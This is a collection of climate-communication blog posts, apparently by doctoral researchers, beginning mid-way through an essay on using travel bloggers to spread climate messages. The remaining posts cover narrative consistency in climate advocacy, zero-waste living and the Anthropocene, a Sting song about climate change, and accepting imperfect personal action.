What I propose is to use influencers on social media, particularly Travel Bloggers. I am talking about the people who travel the world putting up wonderful pictures and telling us stories of places we can only dream of going. Why would these people make good Climate Change bunnies? Well they are interesting, showing us a life we’d all love and more importantly they travel the world. Scientists are always telling us about various places affected by climate change, but these people have actually been there. I envision interviewing such a blogger who has just visited an exotic island in the pacific and asking what the place it like. The response is perfect, as I am told “the island is one of the most beautiful places I have ever seen. It is awful that rising sea levels is resulting in most of the island’s inhabitants having to relocate”. This is brilliant and let me tell you why. Firstly, rising sea levels have been brought up without politicians, liberal celebrities or scientists losing that contamination. Secondly, there is the potential to hit the million or so followers that this blogger has. Finally, as Prof. Kahan had mentioned, people obtain their information through the people they trust, or, beyond that, from parts of the wider media that speak to their worldview and values. Travel bloggers I believe fall into this category. They consistently tell their story, keeping you up to date with their daily doings and issues which such an openness that it creates an almost friendship like relationship. I imagine there are even people who know more about a blogger than they do about a good friend.

Travel bloggers are already using their platform for good. Take Jonny Ward for example with his blog One Step 4 Ward[8]. He has cleverly developed an audience with his travels, storytelling, good advice and motivation and as I write this he has just finished riding around Sri Lanka in a tuk tuk, over 1000km and you should check out his Instagram @onestep4ward to see more. With this audience he has, thankfully, decided to give back with a current project to build a playground for the Burmese migrants in Thailand with an aim to “inject a little fun, a few more smiles and a bit of colour”. This is on top of other projects he has completed in Senegal and Gambia. This is the kind of platform and audience climate scientists need capitalise on. There is no doubt that Johnny Ward would make a good playboy bunny.

So, what am I trying to say with all this? Firstly, climate change activists are in competition with funny and cute animals in terms of getting the message out there, and even when they manage to get their message out there it is often contaminated with this additional social meaning. So, to generate a larger audience I propose we, like Hugh Hefner with his bunnies, use or create a platform which appeals to people’s desires and avoids this additional social meaning  to spread the message and inspire solutions. Travel bloggers are ideal for this. Their use of social media is some of the best out there and they help us imagine, understand and care about places on earth we may never get to.

 

[1] https://www.youtube.com/watch?v=4r7wHMg5Yjg

[2] https://www.youtube.com/user/IPCCGeneva

[3] https://books.google.co.uk/books?id=yz4kAwAAQBAJ&pg=PA23&lpg=PA23&dq=gun+control+west+virginia+politician+poll&source=bl&ots=XXKtWmaeDw&sig=ZOsGbvLABWTKIT0wNwRPHUaLmtk&hl=en&sa=X&ved=0ahUKEwiIhYXr29HTAhVHCMAKHaesDR4Q6AEIQzAF#v=onepage&q=gun%20control%20west%20virginia%20politician%20poll&f=false

[4] http://www.imdb.com/title/tt0052503/fullcredits?ref_=tt_cl_sm#cast

[5] http://www.creativeloafing.com/news/article/13065559/mlks-1964-playboy-interview

[6] http://www.malcolm-x.org/docs/int_playb.htm

[7] https://www.researchgate.net/publication/284001876_The_Playboy_Way_Playboy_Magazine_Soldiers_and_the_Military_in_Vietnam

[8] https://onestep4ward.com         

 https://onestep4ward.com/help-us-build-playground-burmese-migrant-kids/

Don’t just wait for a movement

A SUPER-WICKED PROBLEM

In my previous blog piece, I referred to climate change as the ‘grandest of all problems’ ever faced by mankind. Imperial College London’s Grantham Institute’s briefing paper ‘Towards a unifying narrative for climate change’ states that the problem posed by climate change is an example of a ‘super-wicked’ problem. This relates to four factors which make it such a fiendishly difficult issue: the requirement for a solution is increasingly imminent; a co-ordinated central authority is required, in a neoliberal age where business trumps government; those who continue to cause the problem are the very ones who seek to find a solution; and policy responses often disregard the future in an almost irrational way.

A powerful quote comes from John Ashton of Chatham House and is as follows:

“Humanity has never faced a problem like climate change. Unlike poverty, hunger, disease and terrorism it affects everybody. Climate change is a ticking clock that we cannot stop or slow down… The essence is not what we must do but how quickly we must do it”.

How on Earth to proceed in this minefield situation?

ONE PROBLEM, MANY NARRATIVES

It has been argued – notably by Al Gore – that the science of climate change is well researched enough and that we have the solutions available. Therefore in order to succeed in solving this grandest of problems we face the bigger issue of getting anybody to care and do something about it. Whilst this may well be the case, scientific study and technological innovation remain crucially important in analysing the problem of climate change, assessing our approaches to its solution and improving the technologies we apply to this end. We should be wary, however, in placing too much hope in a ‘techno-fix’ geoengineering-type solution appearing to the problem. Partly because the prospects are somewhat lacking, but mainly because of the consequent feeling of being off the hook with respect to emission reduction. Indeed, most geoengineering solutions which have been proposed merely mask the effects of climate change and do not account for vital factors such as ocean acidification.

In addition to direct gains of the science, the fact there exist (some very high-profile) climate change deniers is proof enough that scientific research into climate change can still be justified. There are plenty of people who are still not convinced either that climate change is happening or it is an issue. Yet many suggest we now live in a ‘post-truth’ era, wherein facts count for nothing and emotive statements possess the most power. How is it possible to make a case for action on climate change when such arguments rest mainly on science and often only stir in us emotions of fear and worry?

As was discussed at the Royal Meteorological Society’s February meeting, a major issue for the environmental movement is the lack of consistency of narrative. Previous arguments have left many with the view environmentalists only care about polar bears and (hypothetical) future generations. Peter Wadhams, Arctic scientist and author of the excellent book ‘A Farewell to Ice’, argues what is not being communicated enough is the fact the call for action on climate change is no longer about saving polar bears (not that it ever specifically was). It is about saving the human race. The ‘future generations’ narrative is also unhelpful. Psychologists have long-established that humans (and apes) will always choose a small gain in the short term than a greater gain in the long term –  be it with respect to getting one banana now or five later, or with respect to driving the kids to school in a comfy SUV rather than emitting less in the hope they might have a safer future.

The ‘doomsday is near’ narrative is one which is in vogue in some parts of the scientific community (which should be worrying in itself). Clearly such an approach, seen to be advocated by many ‘whingy environmentalists’, is not the way to proceed, no matter how much truth it may or may not hold. In the face of disparity comes the turn to denial and/or ignorance. Such ignorance is a contributor to the ubiquitous ‘disconnect’ between everyday actions and their environmental impacts. This refers to the disconnect between boiling a kettle and the CO2 emitted to generate the required electricity; between having cute pets and eating emission-heavy meat.

But we should not be too quick to lay blame for CO2 emissions. This has historically been the approach of many environmentalists and the result is highly polarising. It is much more productive to provide solutions than to go around blaming people.

THE MOVEMENT WON’T START ITSELF

Millions of journalists, bloggers and activists have already written about ‘what we must do now’, with a vast spectrum of ideas. This array is a manifestation of the lack of consistent narrative that I refer to. Here lies the Catch 22 of climate change: climate change is a problem requiring action on scales unseen before, but proposing a solution merely adds to the lack of consistent narrative, weakening the argument for action. Is all hope lost?

Of course not, and it is hope and positivity which provide the answer, as alluded to earlier. Hope lies at the heart of the many pieces written about the path forward. Only by aiming toward a better future can a movement ever be built. But don’t wait for the mass movement to emerge. Start it. Regardless of whether you go on big marches or arrange protests, you are part of the movement if you speak to people about the promise of acting on climate change. You are part of the movement if you do things in your everyday life like taking few flights, cutting down waste or eating less animal products. You are part of the movement if you convince just one more person that it is not good enough for the status quo to continue.

But just in case you do like to go to marches, there is one in London soon: https://www.facebook.com/events/747422225425039/.

Zero waste living: Minimising waste in the 21st century

THE NEW STATE OF AFFAIRS

Every day millions of products are sold in single-use packaging, usually a form of plastic or ‘mixed-material’: sandwich containers, plastic films, coffee cups, bubble wrap and the like. The resulting vast swathes of disposables discarded, along with many recyclable items, find their way to landfill sites, to clusters in the oceans* and to garbage incinerators. The consequent effect on the geosphere is both detrimental and escalating day by day.

Fundamental studies of geology teach us that the geologic timescale of Earth is divided into periods (perhaps the most famous being the Triassic, Jurassic and Cretaceous), which are themselves divided into epochs. The current epoch is known as the Holocene epoch and  it began roughly 11,700 years ago, following the end of the last ice age and the Pleistocene epoch. What an epoch refers to is the structure of the rock deposited during a certain length of time, perhaps providing us with knowledge concerning the type of creatures which existed then (through examining fossils), the constitution of the atmosphere or the relative sea levels. Until the Holocene, the defining characteristics of each epoch were all derived from natural processes. However there is now so much waste buried in the ground and the atmosphere has changed radically enough that some geologists believe it is time we declare a new geological epoch: the Anthropocene. This name was coined in 2000 by Paul Crutzen in the journal Nature.

The advent of the Anthropocene means mankind has had such an enormous effect on the constitution of the geosphere that humanity’s industrial byproducts are recognisable from examining rocks and also through proxies such as ice cores and tree rings, for example. As mentioned above, it is not just the ground beneath our feet which is changing. It is an almost universally accepted fact that the atmosphere which we breath has changed beyond recognition due to human influence, for example through an increase of around 100pm of carbon dioxide composition in the last 250 years. The consequent alterations comprise what we call (anthropogenic) climate change.

WHY SHOULD WE CARE?

As is mentioned in the excellent, inspiring review paper ‘The Anthropocene: From Global Change to Planetary Stewardship’, whose list of authors includes the pioneering Paul Crutzen, the Holocene is the only state of the Earth system wherein we can be certain that contemporary human civilisation can exist. This epoch is known to have been relatively stable, allowing mankind to develop to the highly intelligent state as in the present. The Anthropocene, on the other hand, is far less certain to be so gentle on us. In the vastly altered environment which we are increasingly finding ourselves, extreme weather events such as severe storms, floods, heatwaves and droughts will become only more frequent. This is threatening for the many people who live in delicate geographical circumstances, particularly in equatorial countries such as those surrounding Saharan Africa and low-lying coastal regions such as Bangladesh and the Netherlands.

Alongside the problems posed directly by climate change, there are numerous other serious, related issues, including a shortage of food resources and (fertile) land in many areas of the world, all with the ominous backdrop of an exponentially increasing population. In the paper mentioned above, the authors outline the necessity of a renewed approach to the way in which mankind views and is treating the world, both for its sake and our own. This movement is not completely new – James Lovelock in particular has long supported the notion of a vengeful ‘Mother Earth’ Gaia interpretation of nature, which is very much capable of evolving of its own accord in order to outlast the threat posed by humanity, and encouraged a much more co-operative approach to civilisation than is currently exhibited. In terms of problems posed directly by the waste issue, landfilling and over-production of packaging not only inflates land shortage, but can pollute nearby soils and rivers, damaging delicate ecosystems, and lead to an increased level of shipping.**

WHERE TO GO FROM HERE?

Some researchers refer to the status quo production methodology of the modern era as a ‘linear economy’, in that materials are mined, farmed or grown, then made into single-use products, which are thereby used by the consumer and disposed. In this paradigm, products are often cheaply made in order to maximise profit and therefore are not built to last. Above I have made the case that this is simply unsustainable and infeasible. An alternative approach is sometimes known as a ‘circular economy’, wherein there is a real focus on making the most durable products as possible, using the minimal quantity of resources, and always giving preference to regeneration and recycling of materials, rather than extracting anew.

There are multiple movements which fit within the remit of a circular economy, including the break free from plastic movement and the Zero Waste Europe movement, the latter of which is making waves across the continent, with many local councils and companies already pledging to move towards a zero waste-to-landfill regime. On a more personal note, as of 1st  October 2016, I have committed to becoming a zero waste individual. All new products I have purchased since then either come in recyclable or compostable packaging, or indeed in no packaging at all! If absolutely necessary, I allow myself up to 500g of disposable waste per year, as other zero wasters suggest.*** I have found that in going waste free, it often naturally follows that one reduces one’s carbon footprint also – for instance, buying fresh in-season fruit and vegetables from local markets, collected in reusable bags. One thing that has really helped me on my way is the discovery that supermarkets across the country, including Sainsbury’s, have installed plastic bag recycling points in their stores to account for those awkward products such as toilet roll that you just can’t buy without a plastic film wrapper.

I have heard many people argue that the waste problem is not directly related to climate change – that recycling alone is not going to save the world. This is of course true, but through aiming to tackle the enormous waste problem that is now afoot in the world, the approach of a circular economy refocuses our influence not on endless (or so we think) extraction for maximal profit, but on making the most of what we have and ensuring there are enough resources remaining to sustain many, many generations to come. In making this change of purpose, one also takes a step towards a greener economy, and moves to provide a safer and more stable future for all. There are many pieces to the grandest of puzzles that is solving the problem of climate change, but surely committing to reduced waste is one clear step in the right direction.

 

FOOTNOTES

*: My fellow MPE CDT colleagues, Ben Snowball and Birgit Sützl, are currently undergoing MRes projects centring around mathematical models for tracking plastic waste in the world’s oceans.

**: I was disgusted to find out from a friend who works in the shipping industry that the main physical export of the United Kingdom is… waste! There have also been numerous cases of illegal smuggling of waste out of the UK.

***: I still feel ‘zero waste’ is an accurate term even if one creates a small amount of it. After all, the average American produces over 500kg per year!

One fine day

I finally got a chance to listen to the new album of Sting, one of my favourite artists: “57th and 9th”. By definition, it’s good – Sting has never recorded any unsuccessful songs! But why am I talking about some CD on a blog about maths and climate science?

Because this album contains a single that drew attention of my inner climate activist. In “One Fine Day”  Sting touches on the problem of the climate change. The artist points out at different types of climate sceptics. So we have optimists, histories, apologists and even scientists, who believe there’s not much we can do.

The singer makes an appeal to political leaders to heal the planet quickly. Some say it’s rather wishful thinking but, come on, we’re talking about a song, not an IPCC report! Although “Three penguins and a bear got drowned” part is a bit too cheesy for me to handle.

The lyrics aren’t the best and I know that Sting can do better. I mean, he’s the author of such jewels as “Englishman in New York” or “Fragile”. So why did I get so excited about this particular song? Because people like Sting and listen to him. This is what we need right now: a casual message about the dire issue of climate change, conveyed via a catchy song. I don’t care how people realise that we have a problem, as long as they DO realise is somehow. Buying a new CD is as good a way as any other.

Some criticise Sting for hypocrisy. Well, the truth is that an owner of eight residences scattered all over the world who travels between them on a private jet does contribute to the climate change quite significantly. However, as I stated before: it’s ok not to be perfect. It might be the case that Sting’s popularity will raise awareness of climate change, which can do more good to the planet than his flights to numerous concerts.

I hope we won’t see the times  “when snakes can talk and pigs will fly”. It’s up to us!

Image from MetroLyrics. Article originally posted here: https://paularowinska.wordpress.com/2016/12/20/one-fine-day/.

Think grey

Recently someone told me that they believe in the climate change but are not doing anything to help the planet because they do not want to sacrifice everything. That there are things they could not possibly give up. Conclusion? They might as well change nothing.

To prevent the climate change or at least to reduce its negative impact, we have to work together. In an ideal world, every inhabitant of our planet would change their behaviour and live an environment-friendly existence. However, it is not going to happen. We have too many climate sceptics and people who, while accepting that the climate change is a jeopardy, do not believe it is worth it to worry too much. Their main argument is that next generations will suffer most of the consequences – so why should we care?

Explaining to climate sceptics that they might be wrong is one of my main goals. I am not a psychologist but to my mind the other group will be also very hard to persuade. In this article I will focus mostly on the majority of the society: people who believe in climate problems, would like to change something but do not want to sacrifice their whole life to save the world. Please bear in mind that when I say majority, I base it only on my observations, not any data. Even if I am wrong, it is still a large group that should be targeted.

Where does that black and white thinking come from? Why can’t we accept that we do not have to be perfect? Perfectionism has been researched in numerous psychological studies. Yet, still so many people have to deal with consequences of this character trait in many areas of their lives. Instead of helping us to do an amazing job, it hinders all our efforts. Better is the enemy of good. Even when we are saving the planet.

You might think that we, climate scientists, young researchers who care a lot about the dire situation in which the Earth is now, are doing everything right. It is not exactly true. Yes, we are trying to do what we can – but not more. We are still human beings, with all our flaws.

Remember that we work together. This often means commuting quite far, many times even flying. What can I do about the fact that the conference relevant for my research takes place in Philadelphia? I have to use the plane, no matter how badly I want to avoid it. Because planes are one of the worst enemies of our planet, this is the fact. However, in order to do my research, I need to know about results of other scientists all over the world. In principle we could use video conferencing. And we do but it is far less effective than meeting other researchers in person. Because most of the ideas are created when we talk outside the official conference events.

Some universities tried to introduce travel funds not according to the money one spends on the travel but on the carbon footprint produced by the journey. I hope they will forget about such ideas soon. Yes, we should encourage alternative ways of travelling when they are feasible, for example one can get from London to Paris in a reasonable time by train. However, if one is unlucky enough to have a meeting in the U.S., it is just not fair.

Let us assume that we are already in the meeting. We switch on the lights, the computer, the projector, the air condition… There is coffee and water served in plastic cups. There are biscuits prettily wrapped in plastic bags. Another coffee break, another cup (because I managed to lose mine). And it continues…

These little things are what matters. I am not happy that they happen and I think we should change them. However, I still attend these meetings because I find them valuable for the climate research. Also, in my everyday life I try to waste as little as possible, save electricity etc. I know I could carry a mug with me and use it instead of plastic cups. But you know what? I would rather carry my laptop so that I can do some work on the train. Especially now that I cycle to the train station (no greenhouse gases produced!) and I do not want my backpack to be too heavy.

Later we go to the lunch. I do not remember a meal without any conversation about vegetarianism and its impact on the climate. I believe that reducing the meat consumption is an important part of helping the planet. Veganism is even more environment-friendly. Having said that, I do not think that meat eaters are doing something wrong. Especially when they are aware of how much greenhouse gases are released in the process of meat production and they try to reduce the amount of meat they consume. Cultivating the myth that we have to cut everything out in order to make the positive impact does not help our planet. Of course if we all went vegan, the release of CO2 would decrease but a traditional (in some countries) meat-free Friday has a good impact too. Why would we condemn them people for indulging in a favourite steak once a week? Every little step counts!

When it comes to the actual research, there is no weather and climate prediction without computers. Supercomputers. Super-power-hungry-computers. We cannot forget that every weather prediction releases large amounts of greenhouse gases. Should we then stop doing our research to prevent it? I doubt it would do us any good. Work is being done to develop more effective and less harmful algorithms but the problem will persist.

Can we be fully environment-friendly then? Yes and no. There are people who take it to the extreme. They eat only unprocessed plant-based foods, they live completely waste-free, do not travel, do not use electricity etc. It seems to be doable and if this lifestyle works for them, then it is great, but… I refuse to live like that. I am sure that we can live quite relaxed and pleasant lives and still do not do too much harm to the planet. The point is that we all have to do that. We all have to make some changes, no matter how small they would be.

You do not have to be perfect. If you feel that you can change something, then go for it! Do not beat yourself up for taking a super long shower because it was so pleasant. Do not feel like a failure for using a car when you were too tired to cycle to work. Just think about what you can do to reduce the harm that we, the whole of society, do to the planet. Listen to Paul McCartney: Don’t carry the world upon your shoulders. Do what you can – and enjoy what you do not want to sacrifice.

Article originally published on my personal blog.